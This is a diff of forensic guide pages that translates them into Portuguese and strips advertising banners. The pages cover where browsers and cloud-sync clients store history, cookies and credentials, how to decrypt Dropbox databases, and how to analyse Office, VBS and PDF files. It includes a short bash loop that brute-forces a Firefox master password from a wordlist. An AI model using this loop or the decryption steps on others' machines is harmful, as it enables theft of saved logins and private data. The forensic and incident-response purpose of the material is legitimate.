-- **prefs.js**: User settings and preferences.
-- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite.
-- **thumbnails**: Website thumbnails.
-- **logins.json**: Encrypted login information.
-- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information.
+- **places.sqlite**: Armazena histórico, favoritos e downloads. Ferramentas como [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) no Windows podem acessar os dados de histórico.
+- Use consultas SQL específicas para extrair informações de histórico e downloads.
+- **bookmarkbackups**: Contém backups de favoritos.
+- **formhistory.sqlite**: Armazena dados de formulários da web.
+- **handlers.json**: Gerencia manipuladores de protocolo.
+- **persdict.dat**: Palavras do dicionário personalizado.
+- **addons.json** e **extensions.sqlite**: Informações sobre complementos e extensões instalados.
+- **cookies.sqlite**: Armazenamento de cookies, com [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponível para inspeção no Windows.
+- **cache2/entries** ou **startupCache**: Dados de cache, acessíveis através de ferramentas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
+- **favicons.sqlite**: Armazena favicons.
+- **prefs.js**: Configurações e preferências do usuário.
+- **downloads.sqlite**: Banco de dados de downloads mais antigos, agora integrado ao places.sqlite.
+- **thumbnails**: Miniaturas de sites.
+- **logins.json**: Informações de login criptografadas.
+- **key4.db** ou **key3.db**: Armazena chaves de criptografia para proteger informações sensíveis.
 
-Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled.
-
-To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
-With the following script and call you can specify a password file to brute force:
+Além disso, verificar as configurações de anti-phishing do navegador pode ser feito pesquisando entradas `browser.safebrowsing` em `prefs.js`, indicando se os recursos de navegação segura estão ativados ou desativados.
 
+Para tentar descriptografar a senha mestra, você pode usar [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
+Com o seguinte script e chamada, você pode especificar um arquivo de senha para força bruta:
 ```bash:brute.sh
 #!/bin/bash
 
 #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
 passfile=$1
 while read pass; do
-  echo "Trying $pass"
-  echo "$pass" | python firefox_decrypt.py
+echo "Trying $pass"
+echo "$pass" | python firefox_decrypt.py
 done < $passfile
 ```
-
 ![](<../../../images/image (692).png>)
 
 ## Google Chrome
 
-Google Chrome stores user profiles in specific locations based on the operating system:
+O Google Chrome armazena perfis de usuário em locais específicos com base no sistema operacional:
 
 - **Linux**: `~/.config/google-chrome/`
 - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
 - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
 
-Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data:
+Dentro desses diretórios, a maioria dos dados do usuário pode ser encontrada nas pastas **Default/** ou **ChromeDefaultData/**. Os seguintes arquivos contêm dados significativos:
 
-- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads.
-- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available.
-- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
-- **Bookmarks**: User bookmarks.
-- **Web Data**: Contains form history.
-- **Favicons**: Stores website favicons.
-- **Login Data**: Includes login credentials like usernames and passwords.
-- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs.
-- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed.
-- **Extensions**: Directories for browser extensions and addons.
-- **Thumbnails**: Stores website thumbnails.
-- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more.
-- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output.
+- **History**: Contém URLs, downloads e palavras-chave de pesquisa. No Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) pode ser usado para ler o histórico. A coluna "Transition Type" tem vários significados, incluindo cliques do usuário em links, URLs digitadas, envios de formulários e recarregamentos de página.
+- **Cookies**: Armazena cookies. Para inspeção, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) está disponível.
+- **Cache**: Contém dados em cache. Para inspeção, os usuários do Windows podem utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
+- **Bookmarks**: Favoritos do usuário.
+- **Web Data**: Contém histórico de formulários.
+- **Favicons**: Armazena favicons de sites.
+- **Login Data**: Inclui credenciais de login, como nomes de usuário e senhas.
+- **Current Session**/**Current Tabs**: Dados sobre a sessão de navegação atual e abas abertas.
+- **Last Session**/**Last Tabs**: Informações sobre os sites ativos durante a última sessão antes do Chrome ser fechado.
+- **Extensions**: Diretórios para extensões e complementos do navegador.
+- **Thumbnails**: Armazena miniaturas de sites.
+- **Preferences**: Um arquivo rico em informações, incluindo configurações para plugins, extensões, pop-ups, notificações e mais.
+- **Browser’s built-in anti-phishing**: Para verificar se a proteção contra phishing e malware está ativada, execute `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Procure por `{"enabled: true,"}` na saída.
 
-## **SQLite DB Data Recovery**
+## **Recuperação de Dados do SQLite DB**
 
-As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
+Como você pode observar nas seções anteriores, tanto o Chrome quanto o Firefox usam bancos de dados **SQLite** para armazenar os dados. É possível **recuperar entradas deletadas usando a ferramenta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ou** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
 
 ## **Internet Explorer 11**
 
-Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management.
+O Internet Explorer 11 gerencia seus dados e metadados em vários locais, ajudando a separar as informações armazenadas e seus detalhes correspondentes para fácil acesso e gerenciamento.
 
-### Metadata Storage
+### Armazenamento de Metadados
 
-Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype.
+Os metadados do Internet Explorer são armazenados em `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (com VX sendo V01, V16 ou V24). Acompanhando isso, o arquivo `V01.log` pode mostrar discrepâncias no tempo de modificação com `WebcacheVX.data`, indicando a necessidade de reparo usando `esentutl /r V01 /d`. Esses metadados, alojados em um banco de dados ESE, podem ser recuperados e inspecionados usando ferramentas como photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectivamente. Dentro da tabela **Containers**, pode-se discernir as tabelas ou contêineres específicos onde cada segmento de dados é armazenado, incluindo detalhes de cache para outras ferramentas da Microsoft, como Skype.
 
-### Cache Inspection
+### Inspeção de Cache
 
-The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times.
+A ferramenta [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permite a inspeção de cache, exigindo a localização da pasta de extração de dados de cache. Os metadados do cache incluem nome do arquivo, diretório, contagem de acessos, origem da URL e timestamps indicando os tempos de criação, acesso, modificação e expiração do cache.
 
-### Cookies Management
+### Gerenciamento de Cookies
 
-Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory.
+Os cookies podem ser explorados usando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), com metadados abrangendo nomes, URLs, contagens de acesso e vários detalhes relacionados ao tempo. Cookies persistentes são armazenados em `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, com cookies de sessão residindo na memória.
 
-### Download Details
+### Detalhes de Download
 
-Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
+Os metadados de downloads estão acessíveis via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), com contêineres específicos armazenando dados como URL, tipo de arquivo e local de download. Arquivos físicos podem ser encontrados em `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
 
-### Browsing History
+### Histórico de Navegação
 
-To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
+Para revisar o histórico de navegação, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) pode ser usado, exigindo a localização dos arquivos de histórico extraídos e configuração para o Internet Explorer. Os metadados aqui incluem tempos de modificação e acesso, junto com contagens de acesso. Os arquivos de histórico estão localizados em `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
 
-### Typed URLs
+### URLs Digitadas
 
-Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times.
+URLs digitadas e seus horários de uso são armazenados no registro sob `NTUSER.DAT` em `Software\Microsoft\InternetExplorer\TypedURLs` e `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando os últimos 50 URLs inseridos pelo usuário e seus últimos horários de entrada.
 
 ## Microsoft Edge
 
-Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are:
+O Microsoft Edge armazena dados do usuário em `%userprofile%\Appdata\Local\Packages`. Os caminhos para vários tipos de dados são:
 
 - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
 - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
@@ -143,38 +133,30 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p
 
 ## Safari
 
-Safari data is stored at `/Users/$User/Library/Safari`. Key files include:
+Os dados do Safari são armazenados em `/Users/$User/Library/Safari`. Os arquivos principais incluem:
 
-- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query.
-- **Downloads.plist**: Information about downloaded files.
-- **Bookmarks.plist**: Stores bookmarked URLs.
-- **TopSites.plist**: Most frequently visited sites.
-- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve.
-- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse.
-- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse.
-- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active.
+- **History.db**: Contém tabelas `history_visits` e `history_items` com URLs e timestamps de visita. Use `sqlite3` para consultar.
+- **Downloads.plist**: Informações sobre arquivos baixados.
+- **Bookmarks.plist**: Armazena URLs marcadas.
+- **TopSites.plist**: Sites mais visitados.
+- **Extensions.plist**: Lista de extensões do navegador Safari. Use `plutil` ou `pluginkit` para recuperar.
+- **UserNotificationPermissions.plist**: Domínios permitidos para enviar notificações. Use `plutil` para analisar.
+- **LastSession.plist**: Abas da última sessão. Use `plutil` para analisar.
+- **Browser’s built-in anti-phishing**: Verifique usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Uma resposta de 1 indica que o recurso está ativo.
 
 ## Opera
 
-Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads.
+Os dados do Opera residem em `/Users/$USER/Library/Application Support/com.operasoftware.Opera` e compartilham o formato do Chrome para histórico e downloads.
 
-- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`.
+- **Browser’s built-in anti-phishing**: Verifique se `fraud_protection_enabled` no arquivo Preferences está definido como `true` usando `grep`.
 
-These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers.
+Esses caminhos e comandos são cruciais para acessar e entender os dados de navegação armazenados por diferentes navegadores da web.
 
-## References
+## Referências
 
 - [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
 - [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
 - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
 - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md
index c22a6f566..213ac8b44 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md
@@ -1,50 +1,42 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
-Some things that could be useful to debug/deobfuscate a malicious VBS file:
+Algumas coisas que podem ser úteis para depurar/desofuscar um arquivo VBS malicioso:
 
 ## echo
-
 ```bash
 Wscript.Echo "Like this?"
 ```
-
-## Commnets
-
+## Comentários
 ```bash
 ' this is a comment
 ```
-
-## Test
-
+## Teste
 ```bash
 cscript.exe file.vbs
 ```
-
-## Write data to a file
-
+## Escrever dados em um arquivo
 ```js
 Function writeBinary(strBinary, strPath)
 
-    Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
+Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
 
-    ' below lines purpose: checks that write access is possible!
-    Dim oTxtStream
+' below lines purpose: checks that write access is possible!
+Dim oTxtStream
 
-    On Error Resume Next
-    Set oTxtStream = oFSO.createTextFile(strPath)
+On Error Resume Next
+Set oTxtStream = oFSO.createTextFile(strPath)
 
-    If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
-    On Error GoTo 0
+If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
+On Error GoTo 0
 
-    Set oTxtStream = Nothing
-    ' end check of write access
+Set oTxtStream = Nothing
+' end check of write access
 
-    With oFSO.createTextFile(strPath)
-        .Write(strBinary)
-        .Close
-    End With
+With oFSO.createTextFile(strPath)
+.Write(strBinary)
+.Close
+End With
 
 End Function
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
index f64869c3c..8c87230e2 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
@@ -1,114 +1,97 @@
-# Local Cloud Storage
+# Armazenamento em Nuvem Local
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
 
 ## OneDrive
 
-In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files:
+No Windows, você pode encontrar a pasta do OneDrive em `\Users\\AppData\Local\Microsoft\OneDrive`. E dentro de `logs\Personal` é possível encontrar o arquivo `SyncDiagnostics.log` que contém alguns dados interessantes sobre os arquivos sincronizados:
 
-- Size in bytes
-- Creation date
-- Modification date
-- Number of files in the cloud
-- Number of files in the folder
-- **CID**: Unique ID of the OneDrive user
-- Report generation time
-- Size of the HD of the OS
+- Tamanho em bytes
+- Data de criação
+- Data de modificação
+- Número de arquivos na nuvem
+- Número de arquivos na pasta
+- **CID**: ID único do usuário do OneDrive
+- Hora de geração do relatório
+- Tamanho do HD do SO
 
-Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive.
+Uma vez que você tenha encontrado o CID, é recomendado **procurar arquivos contendo esse ID**. Você pode ser capaz de encontrar arquivos com o nome: _**\.ini**_ e _**\.dat**_ que podem conter informações interessantes como os nomes dos arquivos sincronizados com o OneDrive.
 
 ## Google Drive
 
-In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\
-This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5.
+No Windows, você pode encontrar a pasta principal do Google Drive em `\Users\\AppData\Local\Google\Drive\user_default`\
+Esta pasta contém um arquivo chamado Sync_log.log com informações como o endereço de e-mail da conta, nomes de arquivos, timestamps, hashes MD5 dos arquivos, etc. Até arquivos deletados aparecem nesse arquivo de log com seu correspondente MD5.
 
-The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files.
+O arquivo **`Cloud_graph\Cloud_graph.db`** é um banco de dados sqlite que contém a tabela **`cloud_graph_entry`**. Nesta tabela, você pode encontrar o **nome** dos **arquivos sincronizados**, hora de modificação, tamanho e o checksum MD5 dos arquivos.
 
-The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version.
+Os dados da tabela do banco de dados **`Sync_config.db`** contêm o endereço de e-mail da conta, o caminho das pastas compartilhadas e a versão do Google Drive.
 
 ## Dropbox
 
-Dropbox uses **SQLite databases** to manage the files. In this\
-You can find the databases in the folders:
+O Dropbox usa **bancos de dados SQLite** para gerenciar os arquivos. Neste\
+Você pode encontrar os bancos de dados nas pastas:
 
 - `\Users\\AppData\Local\Dropbox`
 - `\Users\\AppData\Local\Dropbox\Instance1`
 - `\Users\\AppData\Roaming\Dropbox`
 
-And the main databases are:
+E os principais bancos de dados são:
 
 - Sigstore.dbx
 - Filecache.dbx
 - Deleted.dbx
 - Config.dbx
 
-The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]())
+A extensão ".dbx" significa que os **bancos de dados** estão **criptografados**. O Dropbox usa **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]())
 
-To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
+Para entender melhor a criptografia que o Dropbox usa, você pode ler [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
 
-However, the main information is:
+No entanto, as principais informações são:
 
-- **Entropy**: d114a55212655f74bd772e37e64aee9b
+- **Entropia**: d114a55212655f74bd772e37e64aee9b
 - **Salt**: 0D638C092E8B82FC452883F95F355B8E
-- **Algorithm**: PBKDF2
-- **Iterations**: 1066
+- **Algoritmo**: PBKDF2
+- **Iterações**: 1066
 
-Apart from that information, to decrypt the databases you still need:
+Além dessas informações, para descriptografar os bancos de dados, você ainda precisa:
 
-- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary)
-- The **`SYSTEM`** and **`SECURITY`** hives
-- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect`
-- The **username** and **password** of the Windows user
+- A **chave DPAPI criptografada**: Você pode encontrá-la no registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporte esses dados como binário)
+- Os **hives** **`SYSTEM`** e **`SECURITY`**
+- As **chaves mestras DPAPI**: Que podem ser encontradas em `\Users\\AppData\Roaming\Microsoft\Protect`
+- O **nome de usuário** e **senha** do usuário do Windows
 
-Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
+Então você pode usar a ferramenta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
 
 ![](<../../../images/image (443).png>)
 
-If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt.
-
-The resulting hex is the final key used to encrypt the databases which can be decrypted with:
+Se tudo correr como esperado, a ferramenta indicará a **chave primária** que você precisa **usar para recuperar a original**. Para recuperar a original, basta usar esta [receita do cyber_chef]() colocando a chave primária como a "senha" dentro da receita.
 
+O hex resultante é a chave final usada para criptografar os bancos de dados que pode ser descriptografada com:
 ```bash
 sqlite -k  config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
 ```
+O **`config.dbx`** banco de dados contém:
 
-The **`config.dbx`** database contains:
+- **Email**: O email do usuário
+- **usernamedisplayname**: O nome do usuário
+- **dropbox_path**: Caminho onde a pasta do dropbox está localizada
+- **Host_id: Hash** usado para autenticar no cloud. Isso só pode ser revogado pela web.
+- **Root_ns**: Identificador do usuário
 
-- **Email**: The email of the user
-- **usernamedisplayname**: The name of the user
-- **dropbox_path**: Path where the dropbox folder is located
-- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web.
-- **Root_ns**: User identifier
+O **`filecache.db`** banco de dados contém informações sobre todos os arquivos e pastas sincronizados com Dropbox. A tabela `File_journal` é a que contém mais informações úteis:
 
-The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information:
+- **Server_path**: Caminho onde o arquivo está localizado dentro do servidor (este caminho é precedido pelo `host_id` do cliente).
+- **local_sjid**: Versão do arquivo
+- **local_mtime**: Data de modificação
+- **local_ctime**: Data de criação
 
-- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client).
-- **local_sjid**: Version of the file
-- **local_mtime**: Modification date
-- **local_ctime**: Creation date
+Outras tabelas dentro deste banco de dados contêm informações mais interessantes:
 
-Other tables inside this database contain more interesting information:
-
-- **block_cache**: hash of all the files and folders of Dropbox
-- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal`
-- **mount_table**: Share folders of dropbox
-- **deleted_fields**: Dropbox deleted files
+- **block_cache**: hash de todos os arquivos e pastas do Dropbox
+- **block_ref**: Relaciona o ID do hash da tabela `block_cache` com o ID do arquivo na tabela `file_journal`
+- **mount_table**: Pastas compartilhadas do dropbox
+- **deleted_fields**: Arquivos deletados do Dropbox
 - **date_added**
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
index 2e07c739d..7dee6ddcc 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
@@ -1,36 +1,18 @@
-# Office file analysis
+# Análise de arquivos do Office
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

+Para mais informações, consulte [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Este é apenas um resumo:
 
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+A Microsoft criou muitos formatos de documentos do Office, com dois tipos principais sendo **formatos OLE** (como RTF, DOC, XLS, PPT) e **formatos Office Open XML (OOXML)** (como DOCX, XLSX, PPTX). Esses formatos podem incluir macros, tornando-os alvos para phishing e malware. Arquivos OOXML são estruturados como contêineres zip, permitindo inspeção através da descompactação, revelando a hierarquia de arquivos e pastas e o conteúdo dos arquivos XML.
 
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
+Para explorar as estruturas de arquivos OOXML, o comando para descompactar um documento e a estrutura de saída são fornecidos. Técnicas para ocultar dados nesses arquivos foram documentadas, indicando inovação contínua na ocultação de dados dentro dos desafios CTF.
 
-For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary:
-
-Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents.
-
-To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges.
-
-For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables.
-
-Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`.
+Para análise, **oletools** e **OfficeDissector** oferecem conjuntos de ferramentas abrangentes para examinar documentos OLE e OOXML. Essas ferramentas ajudam a identificar e analisar macros incorporadas, que muitas vezes servem como vetores para entrega de malware, tipicamente baixando e executando cargas maliciosas adicionais. A análise de macros VBA pode ser realizada sem o Microsoft Office utilizando o Libre Office, que permite depuração com pontos de interrupção e variáveis de observação.
 
+A instalação e o uso de **oletools** são diretos, com comandos fornecidos para instalação via pip e extração de macros de documentos. A execução automática de macros é acionada por funções como `AutoOpen`, `AutoExec` ou `Document_Open`.
 ```bash
 sudo pip3 install -U oletools
 olevba -c /path/to/document #Extract macros
 ```
-
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
index 769407b3a..79c108334 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
@@ -1,28 +1,20 @@
-# PDF File analysis
+# Análise de Arquivos PDF
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

+**Para mais detalhes, consulte:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
 
-\
